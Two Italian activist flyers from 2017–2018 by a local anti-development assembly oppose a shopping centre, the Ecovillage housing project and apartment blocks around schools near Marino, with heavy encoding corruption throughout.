Nel progetto presentato da ai???Idea Fimitai???, 100.000 metri cubi di cemento, non era presente infatti tutta la zona residenziale ai???a contornoai??? del centro commerciale, circa 5.000 nuovi abitanti ed altri 360.000 metri cubi su un totale di oltre 50 ettari (equivalente a 100 campi da calcio ad 11).

A novembre 2017 la societAi?? ai???Ecovillageai???, responsabile della zona residenziale, ha presentato il progetto alla Regione Lazio.

Abbiamo quindi interpellato i funzionari regionali responsabili di entrambi i procedimenti, il dirigente comunale e l’assessore all’urbanistica: dal 5 febbraio,entro 60 giorni,dovremo produrre nuove ai???osservazioniai???. A quanto abbiamo visto, i documenti del ai???Centro Commercialeai??? sono gli stessi giAi?? contestati a suo tempo mentre ancora non sono disponibili quelli sulla zona residenziale.

Se la procedura di V.I.A e la Conferenza dei Servizi dovessero dare l’ok ai progetti verrebbe meno la vivibilitAi?? di tutto il quadrante, per sempre: peggioramento della viabilitAi?? della zona, carenza idrica, inquinamento delle falde, devastazione di una zona di interesse archeologico, sostituzione di un paesaggio agrario con una zona edificata si materializzerebbero: l’incubo diventerebbe una ai???solida realtAi??ai??? (cit.).

A livello politico tutto discende dalle delibere approvate dalla giunta Palozzi (centro-destra) nel 2011, confermate da quella Silvagni (sempre centro-destra, con l’appoggio del Partito Democratico) e non ancora rese carta straccia dai provvedimenti della giunta M5S. La Regione Lazio guidata dalla Polverini (centro-destra) ha supportato politicamente e praticamente l’iniziativa. Poi, da quando A? arrivato Zingaretti e quindi il centro-sinistra…uguale…ai???paro paroai???, si direbbe.

A Mugilla invece i lavori per la devastazione del territorio vanno avanti speditamente: ormai le case hanno circondato completamente le scuole ai???Verdiai??? e ai???Ciariai??? ma ciA? non fermerAi?? la nostra intenzione di bloccare comunque lo scempio, nonostante sia stato raggiunto ai???l’equilibrioai??? tra palazzinari e Comune:

8 palazzi, invece di 17, a quanto dichiarato dagli amministratori del M5S. In spregio perA? a tutte le mancanze e gli abusi realizzati dai costruttori che hanno ormai circondato le scuole di via Maroncelli

INVITIAMO TUTTI/E AD INFORMARSI ED ATTIVARSI PER IMPEDIRE CHE L’INCUBO DIVENTI REALTA’

OGNI LUNEDI’ ALLE 21.30 RIUNIONE SETTIMANALE PRESSO LA SEDE DEL Comitato di Quartiere di S.Maria delle Mole nei locali di via ai???N.Tommaseoai??? (adiacenti alla scuola ai???E.Moranteai??? e al parco ai???R.Lupiniai???)

Assemblea contro la Cementificazione

www.stopcemento.noblogs.org – stopcemento@inventati.org

Volantino Divino Amore – gennaio-febbraio 2018 in pdf

 

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Cemento: qualcosa si muove…volantino distribuito tra novembre e dicembre 2017

CEMENTO

QUALCOSA SI MUOVE: LE RUSPE, IL TAR, IDEA FIMIT ED IL CAFFE’

Negli ultimi tempi le societAi?? costruttrici di Mugilla (ai???La Mole 2ai??? e ai???Cristinaai???) e via Divino Amore (ai???Idea Fimitai???) hanno intensificato la propria attivitAi??. Le prime, grazie al TAR del Lazio, hanno ripreso a costruire a ritmi serrati le palazzine che circonderanno le scuole ai???Verdiai??? e ai???Ciariai??? a S.Maria delle Mole.

Di fronte al Gotto d’Oro, intanto, Idea Fimit, ha (ri)avviato ruspe e trivelle. Abbiamo chiesto spiegazioni in merito al Comune di Marino ma per il momento non si sa nulla di quali opere/sondaggi si tratti.

Sempre Idea Fimit, societAi?? al 30% di proprietAi?? dell’INPS, sembra abbia presentato una nuova richiesta di V.I.A. alla Regione Lazio. GiAi?? a fine maggio scorso ne presentA? una esclusivamente riguardante il mega-centro commerciale da 100.000 mc: le associazioni del territorio e l’Assemblea contro la Cementificazione presentarono in poco tempo numerose ai???osservazioniai??? scritte alla Regione, le quali costrinsero l’ente a chiedere ad Idea Fimit di ripresentare la propria richiesta comprendendo anche il progetto ai???Ecovillageai??? da 5.000 abitanti.

La societAi?? aveva tentato di scorporare la procedura di queste due enormi devastazioni territoriali dando ad intendere che la valutazione di impatto ambientale doveva avvenire separatamente mentre gli effetti vanno in realtAi?? valutati complessivamente. A breve anche noi dovremmo quindi presentare le nuove osservazioni per opporci a questo insensato progetto speculativo di circa 50 ettari.

Abbiamo di recente incontrato il nuovo ai??i?? temporaneo ai??i?? dirigente all’urbanistica comunale, arch. Gentilini, al quale abbiamo chiesto provvedimenti per impedire che le societAi?? costruttrici proseguano i lavori a Mugilla, viste le numerose irregolaritAi?? e gli abusi riscontrati in diversi sopralluoghi tecnici, la concessione dei permessi a costruire ottenuta senza ottemperare alla normativa sulle emissioni di gas endogeni e la procedura degli accordi di programma giAi?? contestata al TAR nell’ormai lontano 2011.

Facciamo notare la solerzia del TAR nel dare ragione ai costruttori che ad agosto vi avevano ricorso contro il provvedimento del precedente dirigente, arch. Cuffaro, il quale aveva bloccato i lavori in cantiere per le irregolaritAi?? riscontrate. Lo scorso 10 novembre il TAR doveva discutere il ai???meritoai??? della ai???sospensivaai??? del provvedimento dirigenziale giAi?? concessa a settembre ma ha rinviato la discussione a gennaio 2018. Nel frattempo, saranno passati ben 7 anni da quando lo stesso organo di giustizia amministrativa avrAi?? ricevuto i numerosi ricorsi presentati sia dall’Assemblea contro la cementificazione che dalle altre associazioni ma se ne guarda bene dal convocare udienza…non c’A? fretta, per il TAR. Intanto i costruttori procedono….

Dal punto di vista politico, sulla vicenda, si muove ben poco. La Regione Lazio a guida centro-sinistra A? arroccata su sAi?? stessa e lascia mano libera ai palazzinari, il centro-destra a suo tempo ha alacremente lavorato affinchAi?? venisse approvato lo scempio, il movimento 5 stelle ha elaborato una serie di atti che finora non hanno impedito ai costruttori di portare avanti i propri progetti perchAi?? non intende compiere ai???atti unilateraliai???.

In questi ultimi due mesi, inoltre, sul settimanale ai???Il CaffA?ai??? compare, in ogni edizione, la pubblicitAi?? ingannevole a tutta pagina de ai???La casa nel parcoai???, cioA? del progetto speculativo di Mugilla. Costruttori e finanziarie prospettano l’opera (17 palazzi in tutto!) come qualcosa di compatibile con il territorio, raccontano di aver ceduto alcuni ettari di terreno per farne un parco archeologico (da realizzare con fondi pubblici, mica coi loro profitti…) e tutta una serie di castronerie per rendere appetibile l’acquisto degli appartamenti. Non dicono che i tecnici comunali hanno riscontrato abusi edilizi, la mancanza delle opere primarie e il non rispetto della normativa sui gas endogeni. In piA?, per fortuna, la tangenziale prevista non A? neanche stata progettata e i 60.000 mc a cui dicono di aver rinunciato in realtAi?? sono solo stati delocalizzati a Mazzamgna, dietro al Gotto d’Oro. Ma fanno il loro mestiere…a tutta pagina su un giornale che fino a poco fa perorava la causa contro la cementificazione…si sa ai???pecunia non oletai???.

Sappiano tutti che non daremo tregua a questi progetti devastatori.

Per questo invitiamo tutti/e a partecipare attivamente alla lotta in quanto la situazione volge a favore dei palazzinari e bisogna organizzare una risposta popolare che imponga uno stop ai loro progetti

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE — http://stopcemento.noblogs.org

Volantino in versione pdf

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